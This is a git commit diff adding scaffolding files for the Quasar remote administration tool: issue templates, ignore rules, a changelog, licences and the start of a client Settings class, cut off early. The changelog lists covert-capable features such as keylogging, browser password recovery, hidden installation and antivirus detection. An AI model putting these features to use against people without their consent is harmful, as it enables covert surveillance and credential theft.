initial commit
This commit is contained in:
@@ -0,0 +1,22 @@
|
|||||||
|
# Auto detect text files and perform LF normalization
|
||||||
|
* text=auto
|
||||||
|
|
||||||
|
# Custom for Visual Studio
|
||||||
|
*.cs diff=csharp
|
||||||
|
*.sln merge=union
|
||||||
|
*.csproj merge=union
|
||||||
|
*.vbproj merge=union
|
||||||
|
*.fsproj merge=union
|
||||||
|
*.dbproj merge=union
|
||||||
|
|
||||||
|
# Standard to msysgit
|
||||||
|
*.doc diff=astextplain
|
||||||
|
*.DOC diff=astextplain
|
||||||
|
*.docx diff=astextplain
|
||||||
|
*.DOCX diff=astextplain
|
||||||
|
*.dot diff=astextplain
|
||||||
|
*.DOT diff=astextplain
|
||||||
|
*.pdf diff=astextplain
|
||||||
|
*.PDF diff=astextplain
|
||||||
|
*.rtf diff=astextplain
|
||||||
|
*.RTF diff=astextplain
|
||||||
@@ -0,0 +1,77 @@
|
|||||||
|
name: Bug report
|
||||||
|
description: Create a bug or crash report
|
||||||
|
labels: ["bug"]
|
||||||
|
body:
|
||||||
|
- type: input
|
||||||
|
attributes:
|
||||||
|
label: Quasar version
|
||||||
|
placeholder: 1.4.0 or commit-id
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
- type: input
|
||||||
|
attributes:
|
||||||
|
label: Server installed .NET version
|
||||||
|
placeholder: .NET 6.0
|
||||||
|
- type: dropdown
|
||||||
|
attributes:
|
||||||
|
label: Server operating system
|
||||||
|
options:
|
||||||
|
- Windows 11/Server 2022
|
||||||
|
- Windows 10/Server 2019/2016
|
||||||
|
- Windows 8/8.1/Server 2012
|
||||||
|
- Windows 7/Server 2008 R2
|
||||||
|
- Other
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
- type: input
|
||||||
|
attributes:
|
||||||
|
label: Client installed .NET version
|
||||||
|
placeholder: .NET 6.0
|
||||||
|
- type: dropdown
|
||||||
|
attributes:
|
||||||
|
label: Client operating system
|
||||||
|
options:
|
||||||
|
- Windows 11/Server 2022
|
||||||
|
- Windows 10/Server 2019/2016
|
||||||
|
- Windows 8/8.1/Server 2012
|
||||||
|
- Windows 7/Server 2008 R2
|
||||||
|
- Other
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
- type: dropdown
|
||||||
|
attributes:
|
||||||
|
label: Build configuration
|
||||||
|
options:
|
||||||
|
- Debug
|
||||||
|
- Release
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
- type: textarea
|
||||||
|
attributes:
|
||||||
|
label: Describe the bug
|
||||||
|
description: A clear and concise description of what the bug is.
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
- type: textarea
|
||||||
|
attributes:
|
||||||
|
label: How to reproduce
|
||||||
|
description: The steps on how to reproduce the bug.
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
- type: textarea
|
||||||
|
attributes:
|
||||||
|
label: Expected behavior
|
||||||
|
description: Describe the result that you expect to get after performing the steps.
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
- type: textarea
|
||||||
|
attributes:
|
||||||
|
label: Actual behavior
|
||||||
|
description: Describe the actual behavior that you observed after performing the steps.
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
- type: textarea
|
||||||
|
attributes:
|
||||||
|
label: Additional context
|
||||||
|
description: Any other information that may help us fix the issue goes here (e.g. screenshots).
|
||||||
|
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
name: Feature request
|
||||||
|
description: Suggest a new feature
|
||||||
|
labels: ["enhancement"]
|
||||||
|
body:
|
||||||
|
- type: textarea
|
||||||
|
attributes:
|
||||||
|
label: Problem description
|
||||||
|
description: A clear and concise description of what the problem is.
|
||||||
|
placeholder: |
|
||||||
|
Example: "I'm always frustrated when [...]", or "I often need to [...]"
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
- type: textarea
|
||||||
|
attributes:
|
||||||
|
label: Proposal
|
||||||
|
description: A clear and concise description of what you want to happen.
|
||||||
|
validations:
|
||||||
|
required: true
|
||||||
|
- type: textarea
|
||||||
|
attributes:
|
||||||
|
label: Additional context
|
||||||
|
description: Add any other context or screenshots about the feature request here.
|
||||||
|
|
||||||
+204
@@ -0,0 +1,204 @@
|
|||||||
|
## Ignore Visual Studio temporary files, build results, and
|
||||||
|
## files generated by popular Visual Studio add-ons.
|
||||||
|
|
||||||
|
# User-specific files
|
||||||
|
*.suo
|
||||||
|
*.user
|
||||||
|
*.userosscache
|
||||||
|
*.sln.docstates
|
||||||
|
|
||||||
|
# User-specific files (MonoDevelop/Xamarin Studio)
|
||||||
|
*.userprefs
|
||||||
|
|
||||||
|
# Build results
|
||||||
|
[Dd]ebug/
|
||||||
|
[Dd]ebugPublic/
|
||||||
|
[Rr]elease/
|
||||||
|
[Rr]eleases/
|
||||||
|
x64/
|
||||||
|
x86/
|
||||||
|
bld/
|
||||||
|
[Bb]in/
|
||||||
|
[Oo]bj/
|
||||||
|
|
||||||
|
# Visual Studio 2015 cache/options directory
|
||||||
|
.vs/
|
||||||
|
|
||||||
|
# MSTest test Results
|
||||||
|
[Tt]est[Rr]esult*/
|
||||||
|
[Bb]uild[Ll]og.*
|
||||||
|
|
||||||
|
# NUNIT
|
||||||
|
*.VisualState.xml
|
||||||
|
TestResult.xml
|
||||||
|
|
||||||
|
# Build Results of an ATL Project
|
||||||
|
[Dd]ebugPS/
|
||||||
|
[Rr]eleasePS/
|
||||||
|
dlldata.c
|
||||||
|
|
||||||
|
# DNX
|
||||||
|
project.lock.json
|
||||||
|
artifacts/
|
||||||
|
|
||||||
|
*_i.c
|
||||||
|
*_p.c
|
||||||
|
*_i.h
|
||||||
|
*.ilk
|
||||||
|
*.meta
|
||||||
|
*.obj
|
||||||
|
*.pch
|
||||||
|
*.pdb
|
||||||
|
*.pgc
|
||||||
|
*.pgd
|
||||||
|
*.rsp
|
||||||
|
*.sbr
|
||||||
|
*.tlb
|
||||||
|
*.tli
|
||||||
|
*.tlh
|
||||||
|
*.tmp
|
||||||
|
*.tmp_proj
|
||||||
|
*.log
|
||||||
|
*.vspscc
|
||||||
|
*.vssscc
|
||||||
|
.builds
|
||||||
|
*.pidb
|
||||||
|
*.svclog
|
||||||
|
*.scc
|
||||||
|
|
||||||
|
# Chutzpah Test files
|
||||||
|
_Chutzpah*
|
||||||
|
|
||||||
|
# Visual C++ cache files
|
||||||
|
ipch/
|
||||||
|
*.aps
|
||||||
|
*.ncb
|
||||||
|
*.opensdf
|
||||||
|
*.sdf
|
||||||
|
*.cachefile
|
||||||
|
|
||||||
|
# Visual Studio profiler
|
||||||
|
*.psess
|
||||||
|
*.vsp
|
||||||
|
*.vspx
|
||||||
|
|
||||||
|
# TFS 2012 Local Workspace
|
||||||
|
$tf/
|
||||||
|
|
||||||
|
# Guidance Automation Toolkit
|
||||||
|
*.gpState
|
||||||
|
|
||||||
|
# ReSharper is a .NET coding add-in
|
||||||
|
_ReSharper*/
|
||||||
|
*.[Rr]e[Ss]harper
|
||||||
|
*.DotSettings.user
|
||||||
|
|
||||||
|
# JustCode is a .NET coding add-in
|
||||||
|
.JustCode
|
||||||
|
|
||||||
|
# TeamCity is a build add-in
|
||||||
|
_TeamCity*
|
||||||
|
|
||||||
|
# DotCover is a Code Coverage Tool
|
||||||
|
*.dotCover
|
||||||
|
|
||||||
|
# NCrunch
|
||||||
|
_NCrunch_*
|
||||||
|
.*crunch*.local.xml
|
||||||
|
|
||||||
|
# MightyMoose
|
||||||
|
*.mm.*
|
||||||
|
AutoTest.Net/
|
||||||
|
|
||||||
|
# Web workbench (sass)
|
||||||
|
.sass-cache/
|
||||||
|
|
||||||
|
# Installshield output folder
|
||||||
|
[Ee]xpress/
|
||||||
|
|
||||||
|
# DocProject is a documentation generator add-in
|
||||||
|
DocProject/buildhelp/
|
||||||
|
DocProject/Help/*.HxT
|
||||||
|
DocProject/Help/*.HxC
|
||||||
|
DocProject/Help/*.hhc
|
||||||
|
DocProject/Help/*.hhk
|
||||||
|
DocProject/Help/*.hhp
|
||||||
|
DocProject/Help/Html2
|
||||||
|
DocProject/Help/html
|
||||||
|
|
||||||
|
# Click-Once directory
|
||||||
|
publish/
|
||||||
|
|
||||||
|
# Publish Web Output
|
||||||
|
*.[Pp]ublish.xml
|
||||||
|
*.azurePubxml
|
||||||
|
# TODO: Comment the next line if you want to checkin your web deploy settings
|
||||||
|
# but database connection strings (with potential passwords) will be unencrypted
|
||||||
|
*.pubxml
|
||||||
|
*.publishproj
|
||||||
|
|
||||||
|
# NuGet Packages
|
||||||
|
*.nupkg
|
||||||
|
# The packages folder can be ignored because of Package Restore
|
||||||
|
**/packages/*
|
||||||
|
# except build/, which is used as an MSBuild target.
|
||||||
|
!**/packages/build/
|
||||||
|
# Uncomment if necessary however generally it will be regenerated when needed
|
||||||
|
#!**/packages/repositories.config
|
||||||
|
|
||||||
|
# Windows Azure Build Output
|
||||||
|
csx/
|
||||||
|
*.build.csdef
|
||||||
|
|
||||||
|
# Windows Store app package directory
|
||||||
|
AppPackages/
|
||||||
|
|
||||||
|
# Visual Studio cache files
|
||||||
|
# files ending in .cache can be ignored
|
||||||
|
*.[Cc]ache
|
||||||
|
# but keep track of directories ending in .cache
|
||||||
|
!*.[Cc]ache/
|
||||||
|
|
||||||
|
# Others
|
||||||
|
ClientBin/
|
||||||
|
[Ss]tyle[Cc]op.*
|
||||||
|
~$*
|
||||||
|
*~
|
||||||
|
*.dbmdl
|
||||||
|
*.dbproj.schemaview
|
||||||
|
*.pfx
|
||||||
|
*.publishsettings
|
||||||
|
node_modules/
|
||||||
|
orleans.codegen.cs
|
||||||
|
|
||||||
|
# RIA/Silverlight projects
|
||||||
|
Generated_Code/
|
||||||
|
|
||||||
|
# Backup & report files from converting an old project file
|
||||||
|
# to a newer Visual Studio version. Backup files are not needed,
|
||||||
|
# because we have git ;-)
|
||||||
|
_UpgradeReport_Files/
|
||||||
|
Backup*/
|
||||||
|
UpgradeLog*.XML
|
||||||
|
UpgradeLog*.htm
|
||||||
|
|
||||||
|
# SQL Server files
|
||||||
|
*.mdf
|
||||||
|
*.ldf
|
||||||
|
|
||||||
|
# Business Intelligence projects
|
||||||
|
*.rdl.data
|
||||||
|
*.bim.layout
|
||||||
|
*.bim_*.settings
|
||||||
|
|
||||||
|
# Microsoft Fakes
|
||||||
|
FakesAssemblies/
|
||||||
|
|
||||||
|
# Node.js Tools for Visual Studio
|
||||||
|
.ntvs_analysis.dat
|
||||||
|
|
||||||
|
# Visual Studio 6 build log
|
||||||
|
*.plg
|
||||||
|
|
||||||
|
# Visual Studio 6 workspace options file
|
||||||
|
*.opt
|
||||||
+104
@@ -0,0 +1,104 @@
|
|||||||
|
# Quasar Changelog
|
||||||
|
|
||||||
|
## Quasar v1.4.1 [12.03.2023]
|
||||||
|
* Added missing WOW64 subsystem autostart locations
|
||||||
|
* Fixed file transfers of files larger than 2 GB
|
||||||
|
* Fixed file transfers of empty files
|
||||||
|
* Fixed browser credentials recovery
|
||||||
|
* Fixed race condition on shutdown
|
||||||
|
* Fixed IP Geolocation
|
||||||
|
* Fixed opening remote shell sessions on non-system drives
|
||||||
|
* Fixed incorrectly set file attributes on client installations
|
||||||
|
* Fixed sorting of listview columns with numbers
|
||||||
|
* Updated dependencies
|
||||||
|
|
||||||
|
## Quasar v1.4.0 [05.06.2020]
|
||||||
|
* **Changed target framework to .NET Framework 4.5.2**
|
||||||
|
* **Changed license to MIT**
|
||||||
|
* Changed message serializer to Protobuf
|
||||||
|
* Changed versioning scheme to Semantic Versioning (https://semver.org/)
|
||||||
|
* Added attended/unattended client modes
|
||||||
|
* Added TLS 1.2 as transport encryption
|
||||||
|
* Added UTC timestamps to log files
|
||||||
|
* Added dependencies as NuGet packages
|
||||||
|
* Updated dependencies
|
||||||
|
* Updated message processing in client and server
|
||||||
|
* Updated mouse and keyboard input to SendInput API
|
||||||
|
* Fixed file transfer vulnerbilities ([#623](https://github.com/quasar/Quasar/issues/623))
|
||||||
|
* Lots of under the hood changes for an upcoming plugin system
|
||||||
|
|
||||||
|
## Quasar v1.3.0.0 [28.09.2016]
|
||||||
|
* Added Registry Editor
|
||||||
|
* Added Remote Webcam
|
||||||
|
* Added Windows DPI scaling support
|
||||||
|
* Added IPv6 support
|
||||||
|
* Added ability to elevate Client
|
||||||
|
* Added full Unicode support
|
||||||
|
* Added Remote TCP Connections Viewer
|
||||||
|
* Added option to hide sub directory of installation path
|
||||||
|
* Improved cryptography
|
||||||
|
* Fixed XSS vulnerability in Keylogger Logs
|
||||||
|
* Fixed Remote Messagebox having wrong icon
|
||||||
|
* Fixed FileZilla Recovery base64 decoding
|
||||||
|
* Fixed UPnP discovery freezing in some cases
|
||||||
|
* Fixed IP Geolocation
|
||||||
|
* Fixed Client loses Administrator privileges on restart
|
||||||
|
* Some minor improvements
|
||||||
|
|
||||||
|
## Quasar v1.2.0.0 [12.10.2015]
|
||||||
|
* Added Client restart on unhandled exceptions
|
||||||
|
* Added additional settings to Keylogger (set/hide log-directory)
|
||||||
|
* Added encrypted Keylogger logs
|
||||||
|
* Improved Client Builder
|
||||||
|
* Improved System Information
|
||||||
|
* Improved File Manager behaviour when loading directories with many files
|
||||||
|
* Improved Remote Shell (scrolls now correctly to the bottom when new text received)
|
||||||
|
* Improved compatibility with many connected clients (1k+)
|
||||||
|
* Improved AES encryption/decryption speed (if available, makes use of hardware accelerated AES)
|
||||||
|
* Fixed Client not setting file attribute correctly on startup
|
||||||
|
* Fixed Remote Desktop lagging with mouse input and maximized window
|
||||||
|
* Some minor improvements
|
||||||
|
|
||||||
|
## Quasar v1.1.0.0 [30.08.2015]
|
||||||
|
* **Changed Target Framework to .NET Framework 4.0 Client Profile**
|
||||||
|
* Added deletion of ZoneIdentifier file when installing
|
||||||
|
* Improved Client installation error handling
|
||||||
|
* Improved Client HardwareID generation
|
||||||
|
* Improved Client-Server handshake
|
||||||
|
* Support detection of multiple AVs, Firewalls, GPUs, CPUs
|
||||||
|
* Fixed Builder Profile not saving correctly Installation Subfolder
|
||||||
|
* Fixed Builder not validating input correctly
|
||||||
|
* Fixed Builder creating Client with empty list of hosts
|
||||||
|
* Fixed Settings Password not hashed when pressing 'Start listening'
|
||||||
|
* Fixed Reverse Proxy using always wrong port
|
||||||
|
* Fixed Server throwing NullReferenceException when closing and no Clients connected
|
||||||
|
* Fixed Client reporting wrong uptime on systems with uptime longer than 49.7 days
|
||||||
|
* Fixed Client installation path empty on Windows XP 32-bit in some scenarios
|
||||||
|
* Fixed Client installation to system directory failing on 64-bit OS
|
||||||
|
* Fixed Client uninstallation not working when file is marked as read-only
|
||||||
|
* Fixed Client crashing after update on first start in some scenarios
|
||||||
|
* Fixed Client crashing when list of hosts is empty (Client exits now)
|
||||||
|
* Fixed Client not reconnecting when Server uses different password
|
||||||
|
* Fixed Client registry access
|
||||||
|
* Removed Statistics window, will be remade in a later version
|
||||||
|
|
||||||
|
## Quasar v1.0.0.0 [22.08.2015]
|
||||||
|
* **xRAT is now Quasar**
|
||||||
|
* Added Password Recovery (Common Browsers and FTP Clients)
|
||||||
|
* Added Server compatiblity with Mono (Server now runs on Linux with Mono installed)
|
||||||
|
* Client Builder works also on Linux/Mono
|
||||||
|
* Added ability to upload batch files
|
||||||
|
* Added Client support for multiple hosts
|
||||||
|
* Added maximum simultaneous file downloads/uploads (current max: 2)
|
||||||
|
* Fixed Remote Shell redirecting of standard output not working after redirecting error output
|
||||||
|
* Fixed Remote Shell not displaying unicode characters correctly
|
||||||
|
* Fixed Remote Desktop crash when changing screen resolution
|
||||||
|
* Fixed File Manager would refresh directory when double-clicking files
|
||||||
|
* Improved support for Windows 8 and above
|
||||||
|
* Improved Remote Desktop (Speed, Full Mouse and Keyboard support)
|
||||||
|
* Improved File Manager (Show name of drive, current path, upload files)
|
||||||
|
* Improved UPnP support
|
||||||
|
* Improved Geo IP support
|
||||||
|
* Improved Builder UI
|
||||||
|
* Switched from Protobuff to NetSerializer
|
||||||
|
* Lots of under the hood changes for stability and performance
|
||||||
@@ -0,0 +1,19 @@
|
|||||||
|
# Contributing
|
||||||
|
|
||||||
|
1. Fork it
|
||||||
|
2. Create your feature branch (`git checkout -b my-new-feature`)
|
||||||
|
3. Commit your changes (`git commit -am 'Add some feature'`)
|
||||||
|
4. Push to the branch (`git push origin my-new-feature`)
|
||||||
|
5. Create new pull request (PR)
|
||||||
|
|
||||||
|
## Guidelines for pull requests:
|
||||||
|
|
||||||
|
1. Respect the coding style of Quasar.
|
||||||
|
2. Create a new branch for each PR.
|
||||||
|
3. Single feature or bug-fix per PR.
|
||||||
|
4. Make single commit per PR.
|
||||||
|
5. Make your modification compact - don't reformat source code in your request. It makes code review more difficult.
|
||||||
|
6. PR of reformatting (changing of ws/TAB, line endings or coding style) of source code won't be accepted. Use the issue tracker for your request instead.
|
||||||
|
7. Typo fixing and code refactoring won't be accepted - please create issues with title started with TYPO to request the changing.
|
||||||
|
|
||||||
|
In short: The easier the code review is, the better the chance your pull request will get accepted.
|
||||||
Binary file not shown.
|
After Width: | Height: | Size: 384 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 38 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 38 KiB |
@@ -0,0 +1,21 @@
|
|||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2023 MaxXor
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
The MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2011 Bernhard Elbl
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in
|
||||||
|
all copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||||
|
THE SOFTWARE.
|
||||||
@@ -0,0 +1,39 @@
|
|||||||
|
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta content="text/html; charset=ISO-8859-1"
|
||||||
|
http-equiv="content-type">
|
||||||
|
<title>License</title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<h2>The Bouncy Castle Cryptographic C#® API</h2>
|
||||||
|
<h3>License:</h3>
|
||||||
|
The Bouncy Castle License<br>
|
||||||
|
Copyright (c) 2000-2018 The Legion of the Bouncy Castle Inc.
|
||||||
|
(https://www.bouncycastle.org)<br>
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a
|
||||||
|
copy of this software and associated documentation files (the "Software"), to deal in the
|
||||||
|
Software without restriction, including without limitation the rights to use, copy, modify, merge,
|
||||||
|
publish, distribute, sub license, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:<br>
|
||||||
|
The above copyright notice and this permission notice shall be included
|
||||||
|
in all copies or substantial portions of the Software.<br>
|
||||||
|
<span style="font-weight: bold;">THE SOFTWARE IS PROVIDED "AS IS",
|
||||||
|
WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,</span><br
|
||||||
|
style="font-weight: bold;">
|
||||||
|
<span style="font-weight: bold;">INCLUDING BUT NOT LIMITED TO THE
|
||||||
|
WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR</span><br
|
||||||
|
style="font-weight: bold;">
|
||||||
|
<span style="font-weight: bold;">PURPOSE AND NONINFRINGEMENT. IN NO
|
||||||
|
EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE</span><br
|
||||||
|
style="font-weight: bold;">
|
||||||
|
<span style="font-weight: bold;">LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR</span><br
|
||||||
|
style="font-weight: bold;">
|
||||||
|
<span style="font-weight: bold;">OTHERWISE, ARISING FROM, OUT OF OR IN
|
||||||
|
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER</span><br
|
||||||
|
style="font-weight: bold;">
|
||||||
|
<span style="font-weight: bold;">DEALINGS IN THE SOFTWARE.<br>
|
||||||
|
<br>
|
||||||
|
</span>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
The MIT License (MIT)
|
||||||
|
|
||||||
|
Copyright (c) 2010-2018 George Mamaladze
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in
|
||||||
|
all copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||||
|
THE SOFTWARE.
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
Copyright (c) 2008 - 2015 Jb Evain
|
||||||
|
Copyright (c) 2008 - 2011 Novell, Inc.
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining
|
||||||
|
a copy of this software and associated documentation files (the
|
||||||
|
"Software"), to deal in the Software without restriction, including
|
||||||
|
without limitation the rights to use, copy, modify, merge, publish,
|
||||||
|
distribute, sublicense, and/or sell copies of the Software, and to
|
||||||
|
permit persons to whom the Software is furnished to do so, subject to
|
||||||
|
the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be
|
||||||
|
included in all copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
||||||
|
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
||||||
|
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
|
||||||
|
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
|
||||||
|
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
|
||||||
|
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
|
||||||
|
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||||
@@ -0,0 +1,23 @@
|
|||||||
|
The MIT License
|
||||||
|
|
||||||
|
Copyright (C) 2006 Alan McGovern
|
||||||
|
Copyright (C) 2007 Ben Motmans
|
||||||
|
Copyright (C) 2014 Lucas Ontivero
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in
|
||||||
|
all copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
||||||
|
THE SOFTWARE.
|
||||||
@@ -0,0 +1,20 @@
|
|||||||
|
Copyright (c) 2008-2016 Daniel Doubrovkine, Vestris Inc.
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining
|
||||||
|
a copy of this software and associated documentation files (the
|
||||||
|
"Software"), to deal in the Software without restriction, including
|
||||||
|
without limitation the rights to use, copy, modify, merge, publish,
|
||||||
|
distribute, sublicense, and/or sell copies of the Software, and to
|
||||||
|
permit persons to whom the Software is furnished to do so, subject to
|
||||||
|
the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be
|
||||||
|
included in all copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
||||||
|
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
|
||||||
|
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
|
||||||
|
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
|
||||||
|
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
|
||||||
|
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
|
||||||
|
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
|
||||||
@@ -0,0 +1,2 @@
|
|||||||
|
Silk icon set 1.3 by Mark James
|
||||||
|
http://www.famfamfam.com/lab/icons/silk/
|
||||||
@@ -0,0 +1,20 @@
|
|||||||
|
The core Protocol Buffers technology is provided courtesy of Google.
|
||||||
|
At the time of writing, this is released under the BSD license.
|
||||||
|
Full details can be found here:
|
||||||
|
|
||||||
|
http://code.google.com/p/protobuf/
|
||||||
|
|
||||||
|
|
||||||
|
This .NET implementation is Copyright 2008 Marc Gravell
|
||||||
|
|
||||||
|
Licensed under the Apache License, Version 2.0 (the "License");
|
||||||
|
you may not use this file except in compliance with the License.
|
||||||
|
You may obtain a copy of the License at
|
||||||
|
|
||||||
|
http://www.apache.org/licenses/LICENSE-2.0
|
||||||
|
|
||||||
|
Unless required by applicable law or agreed to in writing, software
|
||||||
|
distributed under the License is distributed on an "AS IS" BASIS,
|
||||||
|
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||||
|
See the License for the specific language governing permissions and
|
||||||
|
limitations under the License.
|
||||||
@@ -0,0 +1,113 @@
|
|||||||
|
using Quasar.Common.Cryptography;
|
||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.Security.Cryptography;
|
||||||
|
using System.Security.Cryptography.X509Certificates;
|
||||||
|
using System.Text;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Config
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Stores the configuration of the client.
|
||||||
|
/// </summary>
|
||||||
|
public static class Settings
|
||||||
|
{
|
||||||
|
#if DEBUG
